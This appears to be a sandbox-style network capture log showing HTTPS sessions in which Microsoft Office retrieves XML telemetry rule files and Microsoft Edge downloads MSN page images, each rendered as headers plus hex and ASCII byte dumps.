54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:53 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:53 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:53 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 8c2ab7fe-e01e-0003-5b91-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004153Z-174f784596886s2bhC1EWR743w0000000uug000000001za5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:53 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:53 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:53 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:53 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c668448b-101e-007a-2d91-3f047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004153Z-174f7845968frfdmhC1EWRxxbw0000000usg000000005mrg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:53 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49934	104.117.182.56	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:53 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKEt.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 00:41:54 UTC	518	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKEt Last-Modified: Thu, 21 Nov 2024 20:14:38 GMT X-Source-Length: 81045 X-Datacenter: eastus X-ActivityId: 1002dc85-c0f7-4f17-b105-1e1613a0df9a Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 81045 Cache-Control: public, max-age=70376 Expires: Tue, 26 Nov 2024 20:14:49 GMT Date: Tue, 26 Nov 2024 00:41:53 GMT Connection: close
2024-11-26 00:41:54 UTC	15866	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-26 00:41:54 UTC	16384	IN	Data Raw: 9c af b9 a8 a7 a5 f3 2e 9a fb 0d 56 09 b8 ab 0b 98 80 82 a0 bb 74 b5 86 35 f1 f6 ac f1 dd 09 6e 80 0f f7 fe eb 70 4f ac 31 73 95 c2 e1 6f b9 f8 a4 92 49 e4 ba 98 a1 49 8c a1 6d d0 b6 db 6c 33 05 58 2f 69 da bc e3 f8 9c 37 43 41 f4 4a d9 e2 48 3a ac 7b 79 4f 12 dd 57 09 fc c4 ed 13 03 72 83 ca a0 14 11 97 b4 af 39 7b 8e 71 b8 d1 3e a9 5d 9f 88 11 32 6a 34 5a d3 9c 27 15 a3 6c 34 43 71 1e 8d e5 55 23 bc 01 98 1a 98 8e c5 83 c4 18 d5 40 db e5 d7 5e d8 c5 dd 69 8d d2 b7 11 9a 5c ae 97 02 2a 4c e8 dd b1 db d2 a1 77 10 62 a6 8c 69 02 33 5a 6b df ab 6c 01 fb a7 f4 5c ce 3a eb c0 0d 7b 43 4f ac 21 58 bb af de 0e 2e b7 07 70 bb 0b a0 12 d2 0c cc 50 65 b3 c5 5a bf c6 5d b8 dc 21 ce 21 c5 ed 13 b0 bc 18 e7 50 bc d7 05 74 49 06 26 20 4e b5 3a 0d b3 9a f4 8c e1 9a d8 Data Ascii: .Vt5npO1soIIml3X/i7CAJH:{yOWr9{q>]2j4Z'l4CqU#@^i\*Lwbi3Zkl\:{CO!X.pPeZ]!!PtI& N:
2024-11-26 00:41:54 UTC	1979	IN	Data Raw: 4f 13 96 95 e5 52 af b6 5b a7 e7 5d 3b 44 eb 4d 39 20 97 61 d4 9a d0 69 d9 0b 90 78 87 6a 68 3c 64 c7 2a 24 7c e7 cd 1d ca 9a ef 85 ad 1d d0 96 ed 0e 0a ff 00 a4 00 fd f6 fe 89 7c 1d f9 f5 7c 7c c6 7d 65 7a 11 84 6c ec fa ac 97 b4 6c 5a b9 e4 e5 a2 1c 31 c1 bf ee cf ff 00 51 bf 52 b3 f0 4f fe 19 dd e6 37 ea bb 07 88 60 50 7c 58 8f 7f 62 b7 cd 74 e2 e2 be d7 94 e0 d7 5b 22 76 dc fa 02 96 11 86 70 82 34 a5 c9 3d 80 4a bf 72 ed a7 ba 5c c0 e2 34 38 4c a8 0f 10 d6 e8 de c1 1e c4 d7 1f 37 f7 62 71 85 30 d2 66 2c bb c4 94 06 5d 90 05 a0 d1 99 2e f6 47 d1 59 f3 9c fd 26 bb 4c 74 15 5a 6f bb 56 b5 a7 2d 5d d0 3d a9 ab b9 2a 13 1b 43 57 dc 0d db a7 b5 46 47 0e 28 03 de 6b 5e ef e8 a2 b9 e6 01 50 1c 77 86 8e d3 2a b1 b9 74 7f 0d 83 28 2e 77 40 01 58 b9 eb da 52 c0 Data Ascii: OR[];DM9 aixjh<d$\|\|\|\|}ezllZ1QRO7`P\|Xbt["vp4=Jr\48L7bq0f,].GY&LtZoV-]=CWFG(k^Pw*t(.w@XR
2024-11-26 00:41:54 UTC	16384	IN	Data Raw: 4a 5b a9 f1 01 c3 50 72 8d 9b 96 b1 34 ec 07 92 e3 79 17 27 ba eb 67 f7 a3 a5 64 b2 fd bd 58 7c 2b d0 ae 8c 7a 65 05 bb 78 87 3d df 53 b1 4b 33 53 1e fa ca f3 e6 eb 9b ab 5d a4 d4 14 c7 13 0a 7b 73 d1 6d e8 21 a6 27 4e 5a ef e5 54 88 60 db ef 9a e3 8e 21 a7 35 2b 6e 4d 31 53 9a cf b7 30 5b a3 de 13 cb 66 70 b1 de ec f7 95 10 ba dc c8 8e c9 ec 52 48 3a 57 b3 45 9a 52 11 b6 0e d1 9e e5 bc 51 4e 9e 85 09 6b 8e 91 49 df ce 25 60 b5 cc 00 c1 3e c4 a8 91 61 d7 41 a1 cb 7a 0d c6 9f 7d 55 5c 7b 67 b3 df 55 b0 eb 44 e9 14 ec 57 4d 6f 13 48 1c cc 66 36 e5 bd 01 83 6f 87 b5 46 30 cc 87 50 f6 f8 e6 16 1c 09 3a f2 1f 4f 62 78 89 f0 b7 53 ae c4 7a ba d7 64 6c 55 bb e3 4a e4 56 3c e7 8a 7f 65 ad 32 2e 02 ec 8b 4c e7 3d 4b 5e 19 78 8e b5 4b 11 8a 81 03 97 64 23 16 71 2a Data Ascii: J[Pr4y'gdX\|+zex=SK3S]{sm!'NZT`!5+nM1S0[fpRH:WERQNkI%`>aAz}U\{gUDWMoHf6oF0P:ObxSzdlUJV<e2.L=K^xKd#q*
2024-11-26 00:41:54 UTC	16384	IN	Data Raw: 13 86 72 ab 8f 5a 94 59 7c fa 46 77 ac fc 33 b5 24 d3 61 1d 6b 37 fd 4b 4c 79 4c 89 0d b6 3c 11 e5 b4 7d d1 b8 6d 52 7c 39 06 9d a4 c0 cb 42 b3 83 49 2d cf 42 97 cd 69 ac 1b 6e 0a 67 08 86 bb d3 74 6e 15 dc a3 87 64 01 9d 2b 9f 34 c5 a7 98 9f 4a 7c 0e ca f4 ab e2 37 f8 62 64 bf b5 61 cf b6 2a 03 8f 6a 3c 83 4e f4 4d 0e 9f 54 fc 98 ae 21 9d 29 d3 29 15 bc a4 45 d6 e2 ad 3b d6 26 d1 1f cb 98 d3 df 35 30 60 93 b0 73 18 b2 3e f9 a3 cb 15 20 d4 6e d1 6b 87 33 8a 29 b6 2b e5 c4 88 f7 0b 05 cc 74 82 cd 9d 0b 78 5b 14 2e cf bd 1e ae 9a 02 b2 6d b1 d5 1b 39 e7 d0 b5 c3 9a 20 c4 c3 e8 44 54 46 a5 62 6d 9a e1 39 cd 3c 63 c1 5a 2d b0 75 3a ec 04 09 d9 4d 79 a5 e5 b5 cd ee bc 30 d3 5a 81 ef da b5 71 cc a5 62 5b ae be f9 2c 62 69 14 91 e1 b4 e8 ad 79 2d 02 43 e6 b5 d8 Data Ascii: rZY\|Fw3$ak7KLyL<}mR\|9BI-Bingtnd+4J\|7bda*j<NMT!))E;&50`s> nk3)+tx[.m9 DTFbm9<cZ-u:My0Zqb[,biy-C
2024-11-26 00:41:54 UTC	7952	IN	Data Raw: 10 46 10 60 f6 69 d9 9a 89 d7 3d 58 70 ca bb 13 45 96 b0 78 9c 36 8c 98 a8 f7 f0 45 8b 8d 69 3e 61 06 22 9b 7f b9 5c 6e 31 ec 36 da e9 99 1b 36 99 c9 43 6d 85 d7 58 e3 8a 0b 43 9d 5a 6e ec 92 bd 5e dc 69 bd 97 6c 5b d4 be e1 c5 e5 b7 43 19 69 fa 2e 65 e0 f6 4b dd b0 b7 79 cb c1 5a c7 6e db 66 6b 4a ef 51 7c 4c 89 b9 1d ea b5 bf 96 62 7c 35 5c 71 89 8d 91 c1 a5 92 1f 66 dc 6a 60 0a 66 ac 07 b8 34 8d 31 4d 3d aa 83 6f b8 dc c2 01 76 b0 7c 27 ea 8f 31 f2 5f 84 99 6c 37 90 23 67 5c a9 38 ef a6 96 cd d7 39 a4 8a 89 81 ce 73 8d f9 2a ad bc e6 e3 17 08 d8 08 39 fe aa a0 f3 b0 9c 0d 33 6d a2 48 cc f2 52 8e 18 de 87 ba 5a 30 41 04 c1 99 a2 d6 9c 63 6d 7e e8 d8 69 37 5b 85 dd d0 1b e2 1a 63 eb 45 7c 96 5a 70 b9 a1 0d 80 39 1e 55 47 c3 61 21 a1 d0 d8 d7 c0 0a 78 ad Data Ascii: F`i=XpEx6Ei>a"\n166CmXCZn^il[Ci.eKyZnfkJQ\|Lb\|5\qfj`f41M=ov\|'1_l7#g\89s*93mHRZ0Acm~i7[cE\|Zp9UGa!x
2024-11-26 00:41:54 UTC	6096	IN	Data Raw: 8c 30 d7 61 ef 50 96 e6 29 e8 f6 90 a2 c6 04 81 15 30 39 c0 a8 f1 01 66 dd e0 1c e7 ec 2f 70 11 93 b0 e5 db d8 b7 3c 5c e2 78 ba 20 01 ab 62 20 ef 5a b8 c7 38 b6 1d 85 a0 cb 84 6b 43 d2 aa 8b 8e 7e 16 b8 6a 26 99 57 da 15 13 78 f9 9e 50 26 5b 04 93 a1 3b 17 2d 33 3e 0e 96 b3 76 e1 b3 59 9a 9f 0a 40 a2 f3 f8 9c 4d b6 b8 90 d7 b8 77 b6 90 67 a5 77 f0 f9 8e a9 ee fa a0 6d 24 d4 f8 2d ba dd 97 06 b5 d5 f2 c7 69 d3 b5 75 8c a3 1d b1 7d cc 4c 5a 97 93 75 e2 a4 c1 33 a6 a4 56 7a 95 9c 45 86 e1 91 18 80 07 5c b5 ed 2a f3 6f 07 0c 3f 7b 40 ab 06 9c 38 35 ae 23 3f 5d eb 95 cc ed 83 4e c1 e5 1b 40 99 92 e1 b7 d5 90 07 52 cf 90 d3 6d b0 e9 d3 a6 68 79 2d 8b 6e 76 2c 6e 22 64 46 ed 08 52 5b 61 b2 18 0e 42 32 d9 f5 56 eb ab a1 36 cd a7 06 cc ba 20 49 3a 18 59 16 86 b1 Data Ascii: 0aP)09f/p<\x b Z8kC~j&WxP&[;-3>vY@Mwgwm$-iu}LZu3VzE\*o?{@85#?]N@Rmhy-nv,n"dFR[aB2V6 I:Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49935	104.117.182.56	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:53 UTC	634	OUT	GET /tenant/amp/entityid/BB1msB1P.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 00:41:54 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 10 Nov 2024 18:22:53 GMT X-Datacenter: eastus X-ActivityId: 73d94375-d35b-43fd-8e68-bf549e16ce39 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msB1P X-Source-Length: 105715 Content-Length: 105715 Cache-Control: public, max-age=279664 Expires: Fri, 29 Nov 2024 06:22:58 GMT Date: Tue, 26 Nov 2024 00:41:54 GMT Connection: close
2024-11-26 00:41:54 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-26 00:41:54 UTC	16384	IN	Data Raw: d1 34 48 97 92 c1 2d cb 56 83 08 76 d8 25 b9 6e c3 08 57 57 56 db 02 b0 e9 0c af 1c 17 60 a1 b6 57 8d 0e c1 b6 c8 db 43 b0 70 f6 19 1e 4b 62 b2 b0 dc 3d 97 92 cc 83 31 c3 70 dc b7 89 99 06 63 86 e1 e6 27 92 d5 a1 e6 3c 2d c3 c9 6e 5a b4 56 66 c3 70 f2 5b 96 ed 0b 32 d0 f6 1d 24 b7 25 bb 41 99 78 75 75 96 e5 96 80 23 c8 74 96 e5 96 05 e1 e3 ac ba cb 2c 61 5e 31 cb 72 d5 85 17 7b 46 37 8c b1 d0 4a 3c 74 6d 96 14 5a 8f 1d 5b 60 cd 78 f1 eb 06 36 de 36 d8 0d b6 db 6c 06 f1 eb ab 63 35 b7 8d ba 18 de 3d 6d b2 4c 6d e3 6c 03 5b 78 f1 80 59 b7 46 d8 05 db 74 78 c0 08 db 1b 6d 00 47 92 e8 db 65 17 96 dd 1b 68 0b 36 ea f5 80 6b 6f 1b 60 1a db c6 db 03 5b 78 db 00 d6 de 36 c0 35 e3 6d b0 06 db 6d b6 03 6d e3 6c 03 5e 3c 6d 80 36 de 3c 60 0d b6 db 60 18 f1 b6 d8 33 Data Ascii: 4H-Vv%nWWV`WCpKb=1pc'<-nZVfp[2$%Axuu#t,a^1r{F7J<tmZ[`x66lc5=mLml[xYFtxmGeh6ko`[x65mmml^<m6<``3
2024-11-26 00:41:54 UTC	2220	IN	Data Raw: 16 84 25 f4 f3 54 2a 7f c4 c0 3d e5 c6 dd 91 f1 21 5d d5 fb 35 93 69 49 d4 1e e7 50 a5 0d 8d e3 0f 01 35 36 96 13 e5 2a c2 0e 92 ca 91 74 9c c5 75 3f a3 94 50 93 50 4a 0f 0d 3b 9c 15 5c bd 68 c2 ce 29 d0 c1 8e fd 1d 5e 23 44 e3 b5 32 72 25 0a aa c9 e7 11 d9 21 aa 2b a8 90 00 04 78 12 7d c3 b5 a0 21 33 52 49 ac 67 af 2a 49 6a 98 ae 00 62 3c 64 81 e0 05 5c 49 1d 0b 76 59 00 bc bc 04 ce 22 69 53 f8 98 ee 60 b6 54 a0 54 0e 11 48 93 04 9e 1c 39 97 15 61 2a 56 25 a8 ac f2 1c fc 34 d8 1a 92 52 54 02 ae 0c 09 88 09 12 29 c6 b4 75 92 47 2b 59 d9 11 45 6b 20 22 aa d2 98 a4 f0 d6 44 e6 f4 20 58 50 a2 89 e4 8a 6d 05 5f 6e f6 b0 95 ee 44 a6 38 64 c4 a2 0a 65 50 49 e1 04 7b e5 ac 59 6e c8 30 d2 de 1d 3d 41 18 3c 9b b0 64 04 fa 47 89 67 37 79 38 00 db 59 91 00 8a 4c 7b Data Ascii: %T=!]5iIP56tu?PPJ;\h)^#D2r%!+x}!3RIgIjb<d\IvY"iS`TTH9aV%4RT)uG+YEk "D XPm_nD8dePI{Yn0=A<dGg7y8YL{
2024-11-26 00:41:54 UTC	16384	IN	Data Raw: 32 a0 27 98 d7 f4 71 8f 4f 6d 1f eb 23 10 15 15 89 e0 73 da f4 8f 5b a3 27 56 d3 e5 4d ef f2 b1 61 60 37 4e 32 c4 3b 6f 06 4a 0a d9 f8 b8 c4 cb f4 93 b5 64 17 93 c5 cb b5 0a d5 a7 89 fc 5a 8d aa 3b 11 2c a1 80 82 34 72 77 8e 86 e2 5b 11 09 57 4a 72 05 c4 37 67 20 d4 8a 50 b7 09 56 7f 2f 73 43 30 5d 19 f6 17 4b 87 78 98 4d c5 27 eb 83 c3 61 49 82 a2 00 3c 6b 1e e7 45 5e e9 ad f9 70 cf 32 75 d7 23 93 c5 eb 25 ba e5 fd a5 e1 23 04 75 09 f8 6f a7 62 a4 fb 43 50 b6 16 47 9c a4 9f f1 fd 1e d9 b8 16 3c d6 80 a8 f3 55 22 38 49 d7 8b 99 f3 09 b7 29 40 11 cc 0d 7c 4e bd cf 96 7d 64 61 95 67 ca d7 aa c7 81 73 29 51 ac 0d a5 ec 25 5a 94 fd dc 0b b7 f1 99 50 13 14 99 87 0f e6 63 48 f0 03 ec e3 e7 93 59 42 4d f8 24 4e 11 de e8 24 93 6a 0f f8 fd 8f dd a5 fc b5 d9 fd 92 Data Ascii: 2'qOm#s['VMa`7N2;oJdZ;,4rw[WJr7g PV/sC0]KxM'aI<kE^p2u#%#uobCPG<U"8I)@\|N}dags)Q%ZPcHYBM$N$j
2024-11-26 00:41:54 UTC	16384	IN	Data Raw: 9a 7e e8 f6 07 5d d1 09 42 c0 04 98 26 29 31 f8 b8 c5 06 74 ce ba d3 c4 02 d7 09 42 46 7f f6 af b0 77 34 f5 94 98 92 12 39 02 67 df 0f 48 4d b6 02 7a 92 3e b1 49 ec 3e d7 0d 63 48 03 b5 a8 29 48 d3 11 1e 3f 8b 84 ab 83 22 ae f3 ee 7d f1 b2 08 25 31 f9 7b 5d 30 1e 0e 5e 2f f2 2f 3e b4 05 f5 66 22 2e 0e 1d af 70 fd 4b 94 7c 3b 9d 23 88 ee 65 88 8d 87 ea 5d 22 1c 83 b4 76 b1 c3 b0 05 0e b0 cc 5d 21 d8 03 87 af 5e 87 40 58 07 86 59 3c b9 bc a3 90 02 5d 59 0b a6 17 60 51 eb 24 32 61 6e c0 10 64 14 77 c1 c1 ee 17 0d 80 27 56 58 87 9d cc 40 07 b9 e3 23 af 73 a0 07 e2 f1 93 b9 bf 17 40 51 b7 7f 17 90 c0 28 df 83 bc 3c c2 d8 14 6d db 0e d6 e1 80 55 eb b4 37 0c 02 ad bb c3 58 b1 ea de b3 a9 83 6e c5 c5 03 e9 11 85 3f bc a8 0f 39 4e 30 57 29 28 ae 2e be 23 11 9d 84 Data Ascii: ~]B&)1tBFw49gHMz>I>cH)H?"}%1{]0^//>f".pK\|;#e]"v]!^@XY<]Y`Q$2andw'VX@#s@Q(<mU7Xn?9N0W)(.#
2024-11-26 00:41:54 UTC	7952	IN	Data Raw: 75 b0 2c 7a ad 27 7b 79 38 8d 54 12 71 28 9d 74 d7 66 81 f2 37 7a ab f7 a5 2b ea 6e 6c 07 08 8d 89 00 17 13 77 68 53 19 d9 a7 7f 27 cb 2e ba 0b e9 8c 9b e2 b2 f6 7e e3 d9 e8 26 75 dd 6f 51 d7 15 a5 29 b8 9b 26 84 7c 25 40 64 64 e9 cc 34 a1 62 e1 10 7c a3 90 d9 c6 84 1e 0c 9b cd d2 3c 84 72 a1 c4 66 b9 38 c6 ed f5 1f 84 a6 92 56 af 28 d3 41 cd f9 52 d4 d4 d4 6d da f1 0d db 82 6e 50 a1 e5 89 30 3c da e5 f0 98 a4 f2 87 89 bf 71 6b 4a 6d a6 42 7c b8 c1 94 a7 87 1a 3a e3 8f 32 ae c4 88 85 0f 2d 33 1c 5c 9b 7b e2 90 13 69 04 9a cf c2 8e 55 98 cb 6b c9 ee cf 3e 57 95 7b 6a c4 1a c6 ef a7 2a 52 94 54 b5 0f 88 c8 a4 e5 b6 20 cb 0d c0 3a e0 13 81 69 b4 4e 25 5c cf fa 06 6e 47 cb 5b 51 fe e2 b1 eb 23 44 8e e3 2e 52 af 59 44 56 20 08 03 21 11 14 e4 f9 ef 3b 8d b9 73 Data Ascii: u,z'{y8Tq(tf7z+nlwhS'.~&uoQ)&\|%@dd4b\|<rf8V(ARmnP0<qkJmB\|:2-3\{iUk>W{j*RT :iN%\nG[Q#D.RYDV !;s
2024-11-26 00:41:54 UTC	16384	IN	Data Raw: 92 3b 61 b8 7e 55 a5 09 5b 72 92 e3 5e a0 b3 b3 3f f2 4e b5 0a 1f b2 50 19 46 be 3f 67 5b 9f f2 5e b5 63 c8 9b 68 98 ca 4f 6b e1 b0 7f 93 71 57 ea 7c 97 4b 93 ed 41 d7 02 6d 9d d0 ff 00 93 75 73 17 2d 5a 50 11 48 50 ff 00 c9 cc 1f f2 5b be 8d 9b 51 c6 69 db 57 e7 d2 34 2f 60 3c df 45 d2 bf f6 92 f2 ba f8 86 67 a3 8f f9 45 e9 1f d9 b3 4d 7e 2f bb bd cf f9 35 d8 50 45 84 a6 47 95 60 e2 23 bc 43 f3 40 13 31 1b 19 05 0d 1e 7f 21 d2 ff 00 f3 5e fa f8 8e ce 91 5e be eb ee 05 0d e9 ae 84 52 2b 5d 1c 0b bd 77 53 7c 27 1d fb b2 91 4f 31 a4 eb 9b 4c 92 83 29 24 7d 68 c8 2f 08 aa 07 70 99 7d 4b 47 4e 3f 46 94 17 92 5e 81 58 25 1b 8b 3f dc 52 c9 8d 49 74 06 e2 27 cc a0 9f cb 58 76 07 15 05 38 64 ed 2b 8a f7 7b 9f 4f 0a 5e 54 01 ad de 5a 47 95 6a 4c d0 c1 30 76 87 0d Data Ascii: ;a~U[r^?NPF?g[^chOkqW\|KAmus-ZPHP[QiW4/`<EgEM~/5PEG`#C@1!^^R+]wS\|'O1L)$}h/p}KGN?F^X%?RIt'Xv8d+{O^TZGjL0v
